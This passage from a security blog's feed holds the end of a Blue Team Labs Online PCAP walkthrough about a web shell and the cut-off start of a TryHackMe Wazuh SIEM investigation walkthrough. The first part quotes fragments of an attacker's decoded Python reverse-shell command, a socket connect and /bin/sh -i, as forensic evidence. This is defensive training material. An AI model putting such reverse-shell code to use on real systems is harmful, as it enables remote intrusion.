alt=&#34;28282e1b47a52ea0c3859d6ae2f9791e_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;319px&#34; data-flex-grow=&#34;133&#34; height=&#34;601&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-network-analysis-web-shell-challenge-walkthrough/28282e1b47a52ea0c3859d6ae2f9791e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;NetworkMiner: Parameters tab showing filename=dbfunctions.php associated with the upload request&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;a249b1d422555bf8badbdf0f1b546f91_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1246px&#34; data-flex-grow=&#34;519&#34; height=&#34;154&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-network-analysis-web-shell-challenge-walkthrough/a249b1d422555bf8badbdf0f1b546f91_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;questions-7-8&#34;&gt;Questions 7 &amp;amp; 8:&#xA;&lt;/h3&gt;&lt;h4 id=&#34;what-is-the-parameter-used-in-the-web-shell-for-executing-commands&#34;&gt;What is the parameter used in the web shell for executing commands?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;what-is-the-first-command-executed-by-the-attacker&#34;&gt;What is the first command executed by the attacker?&#xA;&lt;/h4&gt;&lt;p&gt;Our next tasks are to pinpoint the parameter the web shell uses to execute commands and identify the first command the attacker ran. This part is nice and straightforward. Right below the &lt;code&gt;filename&lt;/code&gt; parameter we spotted in &lt;strong&gt;Question 6&lt;/strong&gt;, we see clear evidence of command execution using the &lt;code&gt;cmd&lt;/code&gt; parameter.&lt;/p&gt;&#xA;&lt;p&gt;Reviewing the entries, we see multiple commands sent through this parameter, but the very first is the &lt;code&gt;id&lt;/code&gt; command. This is a typical discovery step for an attacker because it reveals the user context that the web shell is running under.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;9acc43c753265014525d08c5db865dfd_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;319px&#34; data-flex-grow=&#34;133&#34; height=&#34;601&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-network-analysis-web-shell-challenge-walkthrough/9acc43c753265014525d08c5db865dfd_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;NetworkMiner: Parameters tab showing id as the first command executed&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;147217030bd555c9b3c5e16b11d1f6e2_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1352px&#34; data-flex-grow=&#34;563&#34; height=&#34;142&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-network-analysis-web-shell-challenge-walkthrough/147217030bd555c9b3c5e16b11d1f6e2_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;4f5caf282923d78c5ab668f68c18d7aa_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1271px&#34; data-flex-grow=&#34;529&#34; height=&#34;151&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-network-analysis-web-shell-challenge-walkthrough/4f5caf282923d78c5ab668f68c18d7aa_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;questions-9-10&#34;&gt;Questions 9 &amp;amp; 10:&#xA;&lt;/h3&gt;&lt;h4 id=&#34;what-is-the-type-of-shell-connection-the-attacker-obtains-through-command-execution&#34;&gt;What is the type of shell connection the attacker obtains through command execution?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;what-is-the-port-he-uses-for-the-shell-connection&#34;&gt;What is the port he uses for the shell connection?&#xA;&lt;/h4&gt;&lt;p&gt;We’re nearing the end of our investigation, and the final two questions have us analyzing the malicious command execution that follows the discovery commands &lt;code&gt;id&lt;/code&gt; and &lt;code&gt;whoami&lt;/code&gt;. We can find the attacker’s command line directly below the execution entry we identified in the last question.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;c3a9dd907fbc05e02cffaed8f54d7785_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;356px&#34; data-flex-grow=&#34;148&#34; height=&#34;538&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-network-analysis-web-shell-challenge-walkthrough/c3a9dd907fbc05e02cffaed8f54d7785_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;NetworkMiner: Copying the command execution payload&lt;/p&gt;&#xA;&lt;p&gt;To make this easier to read and understand, we’ll grab an overview of the full command and do a little cleanup in &lt;a class=&#34;link&#34; href=&#34;https://gchq.github.io/CyberChef/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;CyberChef&lt;/strong&gt;&lt;/a&gt;. To copy the entry in &lt;em&gt;NetworkMiner&lt;/em&gt;, right‑click the row and select &lt;em&gt;copy selected rows&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Next, open &lt;a class=&#34;link&#34; href=&#34;https://gchq.github.io/CyberChef/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;CyberChef&lt;/strong&gt;&lt;/a&gt; (web version or offline if you have it in your analysis environment). Paste the copied row into the input field. From the operations menu, add &lt;em&gt;URL Decode&lt;/em&gt; to the recipe. This strips away the URL‑encoded characters that make the command harder to read.&lt;/p&gt;&#xA;&lt;p&gt;In the output window, we now have everything we need to answer the final two questions.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;adf85c9bb46c854f96da94958687f13c_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;377px&#34; data-flex-grow=&#34;157&#34; height=&#34;509&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-network-analysis-web-shell-challenge-walkthrough/adf85c9bb46c854f96da94958687f13c_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;CyberChef: Decoding the attacker’s command execution to analyze the shell&lt;/p&gt;&#xA;&lt;p&gt;The decoded command shows two important behaviors. First, the attacker sets up a TCP socket and connects back to a remote listener on the specified IP and port:&lt;/p&gt;&#xA;&lt;p&gt;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect((&amp;ldquo;IP&amp;rdquo;, PORT))&lt;/p&gt;&#xA;&lt;p&gt;This is our first clue. It establishes an outbound connection initiated from the compromised host, meaning the attacker is expecting a callback.&lt;/p&gt;&#xA;&lt;p&gt;The key indicator appears a bit further down in the command:&lt;/p&gt;&#xA;&lt;p&gt;p=subprocess.call([&amp;quot;/bin/sh&amp;quot;,&amp;quot;-i&amp;quot;])&lt;/p&gt;&#xA;&lt;p&gt;This spawns an interactive shell that pipes input and output over that established socket. When we put this together, the answer becomes clearer: the attacker obtains a &lt;strong&gt;reverse shell&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;From the decoded command, we can also see that the connection is made to port &lt;code&gt;4422&lt;/code&gt;, where the attacker’s listener is waiting.&lt;/p&gt;&#xA;&lt;p&gt;So, the attacker uses an interactive reverse shell, and the connection targets &lt;strong&gt;port 4422&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;34707d8c25e0c09e32b16a70dfcfffb8_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1177px&#34; data-flex-grow=&#34;490&#34; height=&#34;163&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-network-analysis-web-shell-challenge-walkthrough/34707d8c25e0c09e32b16a70dfcfffb8_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;1a2679e34908d8b6ac84814a2cd0de39_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1185px&#34; data-flex-grow=&#34;493&#34; height=&#34;162&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-network-analysis-web-shell-challenge-walkthrough/1a2679e34908d8b6ac84814a2cd0de39_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;img alt=&#34;f3d88199e7862706b3b14844e149883f_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;265px&#34; data-flex-grow=&#34;110&#34; height=&#34;722&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-network-analysis-web-shell-challenge-walkthrough/f3d88199e7862706b3b14844e149883f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;How fun was that! A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://blueteamlabs.online/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Blue Team Labs Online&lt;/strong&gt;&lt;/a&gt; for another awesome challenge.&lt;/p&gt;&#xA;&lt;p&gt;This week’s investigation was a great deep dive into practical network forensics, giving us a hands‑on look at how attacker activity can be investigated inside raw packet data. From uncovering port scans to tracking reconnaissance tools, spotting a web shell upload, and finally decoding an interactive reverse shell, this challenge showcased how much insight a single PCAP can provide.&lt;/p&gt;&#xA;&lt;p&gt;As we moved through the traffic, we were hot on the attacker’s heels, rebuilding their attack chain. Each question flowed naturally into the next, and the investigation felt steady and logical as we pivoted between &lt;em&gt;Wireshark&lt;/em&gt;, &lt;em&gt;NetworkMiner&lt;/em&gt;, and &lt;em&gt;CyberChef&lt;/em&gt;. It’s always satisfying when a challenge hits that sweet spot where you can validate detections, uncover attacker behavior, and sharpen your forensics instincts all at once. Nice!&lt;/p&gt;&#xA;&lt;p&gt;I chose this week’s challenge to keep leveling up my network defense skills and get more reps with &lt;em&gt;Wireshark&lt;/em&gt; and &lt;em&gt;NetworkMiner&lt;/em&gt; to analyze malicious activity directly at the packet level. Breaking down encoded payloads, recognizing attacker tooling, and uncovering reverse shell behavior never gets old, and this one delivered exactly the kind of structured practice I’m into.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for your support and partnering on this investigation. If you found this walkthrough helpful — please give it a clap and consider following me! Your feedback is invaluable, and it pumps me up to support your security journey. Remember, cybersecurity is a team sport, and we’re in this together!&lt;/p&gt;&#xA;&lt;p&gt;Until next week’s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;897587ce48e9f9feb186cdd21a12ccdd_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;250&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-network-analysis-web-shell-challenge-walkthrough/897587ce48e9f9feb186cdd21a12ccdd_MD5.png&#34; width=&#34;250&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://blueteamlabs.online/home/challenge/network-analysis-web-shell-d4d3a2821b&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://blueteamlabs.online/home/challenge/network-analysis-web-shell-d4d3a2821b&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Flare-VM:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://github.com/mandiant/flare-vm&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/mandiant/flare-vm&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Wireshark:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.wireshark.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.wireshark.org/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;NetworkMiner:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.netresec.com/?page=NetworkMiner&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.netresec.com/?page=NetworkMiner&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Nmap — TCP SYN (Stealth) Scan (&lt;/strong&gt;&lt;code&gt;**-sS**&lt;/code&gt;&lt;strong&gt;):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://nmap.org/book/synscan.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://nmap.org/book/synscan.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;sqlmap:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://sqlmap.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://sqlmap.org/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;gobuster:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://github.com/OJ/gobuster&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/OJ/gobuster&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;CyberChef:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://gchq.github.io/CyberChef/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://gchq.github.io/CyberChef/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Imperva — “Reverse Shell”:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.imperva.com/learn/application-security/reverse-shell/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.imperva.com/learn/application-security/reverse-shell/&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>TryHackMe  —  Monday Monitor Challenge Room Walkthrough</title>
            <link>https://stumblesec.com/posts/tryhackme-monday-monitor-challenge-room-walkthrough/</link>
            <pubDate>Mon, 02 Mar 2026 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/tryhackme-monday-monitor-challenge-room-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/tryhackme-monday-monitor-challenge-room-walkthrough/ac8d3265c9513d3eba7443eb8b3db88d_MD5.png&#34; alt=&#34;Featured image of post TryHackMe  —  Monday Monitor Challenge Room Walkthrough&#34; /&gt;&lt;h3 id=&#34;tryhackme-monday-monitor-challenge-room-walkthrough&#34;&gt;TryHackMe: Monday Monitor Challenge Room Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;wazuh-siem-forensics-investigating-persistence-credential-dumping-and-exfiltration-with-atomic-redteam&#34;&gt;Wazuh SIEM Forensics: Investigating Persistence, Credential Dumping, and Exfiltration with Atomic Red Team.&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img alt=&#34;ac8d3265c9513d3eba7443eb8b3db88d_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;400&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-monday-monitor-challenge-room-walkthrough/ac8d3265c9513d3eba7443eb8b3db88d_MD5.png&#34; width=&#34;400&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/room/mondaymonitor&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://tryhackme.com/room/mondaymonitor&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Welcome to my weekly walkthrough! If you’ve stumbled across this blog while looking for a detailed guide to the &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/room/mondaymonitor&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Monday Monitor&lt;/strong&gt;&lt;/a&gt; blue team challenge from &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;TryHackMe&lt;/strong&gt;&lt;/a&gt;, you’re in the right place. This room is all about the investigative side of cyber defense, blending endpoint logging, analyzing SIEM events, with a sprinkle of adversary emulation to keep things interesting.&lt;/p&gt;&#xA;&lt;p&gt;In this challenge, we’re stepping into the role of a cyber sleuth brought in to help Swiftspend Finance level up their security program. Several controlled tests were executed across the environment, and it’s our job to work through the evidence, validate detections, and piece together the full attack chain. Fortunately, we’re given access to their &lt;a class=&#34;link&#34; href=&#34;https://wazuh.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Wazuh&lt;/strong&gt;&lt;/a&gt; SIEM dashboard that’s ingesting &lt;strong&gt;Sysmon&lt;/strong&gt; data from the endpoint. That gives us a rich dataset of process activity, command lines, network connections, and behavioral signals to work with.&lt;/p&gt;&#xA;&lt;p&gt;We’ll be using &lt;em&gt;Wazuh&lt;/em&gt;’s security events module, saved searches, field filtering, and a bit of intuition to uncover everything from initial access to credential dumping and exfiltration. Along the way, tools like &lt;em&gt;CyberChef&lt;/em&gt; help us decode suspicious payloads, and references to &lt;em&gt;MITRE ATT&amp;amp;CK&lt;/em&gt; anchor our analysis in real‑world tactics, techniques, and procedures.&lt;/p&gt;&#xA;&lt;p&gt;I’ll walk through each step clearly, and by the end you’ll have a solid sense of how to approach similar detection‑driven investigations using &lt;em&gt;Wazuh&lt;/em&gt;. Sounds like fun, right? Let’s go!&lt;/p&gt;&#xA;&lt;p&gt;And, hey, if you find this walkthrough helpful — whether it levels up your skills, gets you over a stumbling block, or just serves as a handy reference — &lt;strong&gt;please consider following me to get more content like this&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading and going on this investigation with me!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Swiftspend Finance, the coolest fintech company in town, is on a mission to level up its cyber security game to keep those digital adversaries at bay and ensure their customers stay safe and sound.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Led by the tech-savvy Senior Security Engineer John Sterling, Swiftspend’s latest project is about beefing up their endpoint monitoring using Wazuh and Sysmon. They’ve been running some tests to see how well their cyber guardians can sniff out trouble. And guess what? You’re the cyber sleuth they’ve called in to crack the code!&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;The tests were run on Apr 29, 2024, between 12:00:00 and 20:00:00. As you dive into the logs, you’ll look for any suspicious process shenanigans or weird network connections, you name it! Your mission? Unravel the mysteries within the logs and dish out some epic insights to fine-tune Swiftspend’s defences.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-initial-access-was-established-using-a-downloaded-file-what-is-the-file-name-saved-on-thehost&#34;&gt;Question 1: Initial access was established using a downloaded file. What is the file name saved on the host?&#xA;&lt;/h3&gt;&lt;p&gt;For this room, we’re all about &lt;a class=&#34;link&#34; href=&#34;https://wazuh.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Wazuh&lt;/strong&gt;&lt;/a&gt;, the open source security information event management (SIEM) platform. Swiftspend Finance recently paired &lt;strong&gt;Sysmon&lt;/strong&gt; on the endpoint with &lt;em&gt;Wazuh&lt;/em&gt; for centralized security monitoring. Let’s get into these logs and see what we can find.&lt;/p&gt;&#xA;&lt;p&gt;To get started, launch the provided virtual machine and connect to the &lt;em&gt;Wazuh&lt;/em&gt; dashboard in your web browser using the URL from the challenge. Once you’re logged in, navigate to the &lt;em&gt;Security events&lt;/em&gt; module by selecting its icon on the dashboard.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;8cae1e11bfb18c811b1f1c0f9c3a58a9_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;502px&#34; data-flex-grow=&#34;209&#34; height=&#34;382&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-monday-monitor-challenge-room-walkthrough/8cae1e11bfb18c811b1f1c0f9c3a58a9_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wazuh: Navigating to the Security events&lt;/p&gt;&#xA;&lt;p&gt;Next, load the saved query &lt;code&gt;Monday_Monitor&lt;/code&gt; to pull up the relevant logs for this challenge.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;6df32e959a1d760f39246816c027739b_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;321px&#34; data-flex-grow=&#34;133&#34; height=&#34;495&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-monday-monitor-challenge-room-walkthrough/6df32e959a1d760f39246816c027739b_MD5.png&#34; width=&#34;663&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wazuh: Loading the Monday_Monitor saved query&lt;/p&gt;&#xA;&lt;p&gt;Once the query loads, we need to set the correct time window for when the security engineering team ran the tests. According to the challenge scenario:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;The tests were run on Apr 29, 2024, between 12:00:00 and 20:00:00.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;After clicking the &lt;em&gt;Show dates&lt;/em&gt; button, set the time range options to &lt;em&gt;Absolute&lt;/em&gt; and select the correct start and end timestamps.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;d0d308d271ec36b3178b61e66fae6bb2_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;502px&#34; data-flex-grow=&#34;209&#34; height=&#34;382&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-monday-monitor-challenge-room-walkthrough/d0d308d271ec36b3178b61e66fae6bb2_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wazuh: Setting the date/time&lt;/p&gt;&#xA;&lt;p&gt;With the groundwork complete, we can finally start digging into data that falls within the scope of the test.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;7d89d4f95d1b0b10bc7733752762080d_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;502px&#34; data-flex-grow=&#34;209&#34; height=&#34;382&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-monday-monitor-challenge-room-walkthrough/7d89d4f95d1b0b10bc7733752762080d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wazuh: Setup completed&lt;/p&gt;&#xA;&lt;p&gt;To answer &lt;strong&gt;Question 1&lt;/strong&gt;, we need to identify the downloaded file used for initial access. Since this is a controlled red team test conducted by Swiftspend’s Security Engineering team, and not a typical scenario where a user accidentally downloads and executing a malicious file, our first move is to explore the built‑in detection rules.&lt;/p&gt;&#xA;&lt;p&gt;Click the &lt;em&gt;+ Add Filter&lt;/em&gt; button beneath the search bar. For filtering, set the field to &lt;code&gt;rule.description&lt;/code&gt; with the operator &lt;code&gt;is&lt;/code&gt;. In the value dropdown, look through what detection rules triggered during the test. Here, the &lt;em&gt;Microsoft Office Product Spawning PowerShell&lt;/em&gt; rule stands out as a likely indicator that a malicious document might have established the initial access.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;556ffaede31f5e0820d4c60684276ff7_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;380px&#34; data-flex-grow=&#34;158&#34; height=&#34;390&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-monday-monitor-challenge-room-walkthrough/556ffaede31f5e0820d4c60684276ff7_MD5.png&#34; width=&#34;618&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wazuh: Filtering Microsoft Office Product Spawning Windows shell rule.descriptions&lt;/p&gt;&#xA;&lt;p&gt;Before we dig further, let’s make the results easier to read. From the available fields on the left, add &lt;code&gt;data.win.eventdata.commandLine&lt;/code&gt; to the selected fields. This lets us view process command lines without expanding individual records. With this in place, we can focus on events where Office spawned PowerShell and quickly see what each command executed.&lt;/p&gt;&#xA;&lt;p&gt;Now we’ve got the right query, the right timing, the correct rule filter, and the process command line displayed. The last step is to identify download activity that reveals the file name. To do that, search for &lt;code&gt;HTTP&lt;/code&gt; in the search box.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;4a2c5ad8166009cef8d18d2024bec917_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;719px&#34; data-flex-grow=&#34;299&#34; height=&#34;267&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-monday-monitor-challenge-room-walkthrough/4a2c5ad8166009cef8d18d2024bec917_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wazuh: Searching for HTTP events to identify the downloaded file used for initial access&lt;/p&gt;&#xA;&lt;p&gt;Perfect. This narrows the results down to two hits showing that &lt;code&gt;powershell.exe&lt;/code&gt; downloaded &lt;code&gt;SwiftSpend_Financial_Expenses.xlsm&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;75975c99201c34bb63a6d50ce6fe5ddd_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2258px&#34; data-flex-grow=&#34;941&#34; height=&#34;85&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-monday-monitor-challenge-room-walkthrough/75975c99201c34bb63a6d50ce6fe5ddd_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;questions-2-3&#34;&gt;Questions 2 &amp;amp; 3:&#xA;&lt;/h3&gt;&lt;h4 id=&#34;what-is-the-full-command-run-to-create-a-scheduled-task&#34;&gt;What is the full command run to create a scheduled task?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;what-time-is-the-scheduled-task-meant-torun&#34;&gt;What time is the scheduled task meant to run?&#xA;&lt;/h4&gt;&lt;p&gt;Our next tasks are to identify scheduled task creation and determine when that task is scheduled to run. This is important because creating a scheduled task is a common persistence technique, and spotting these entries 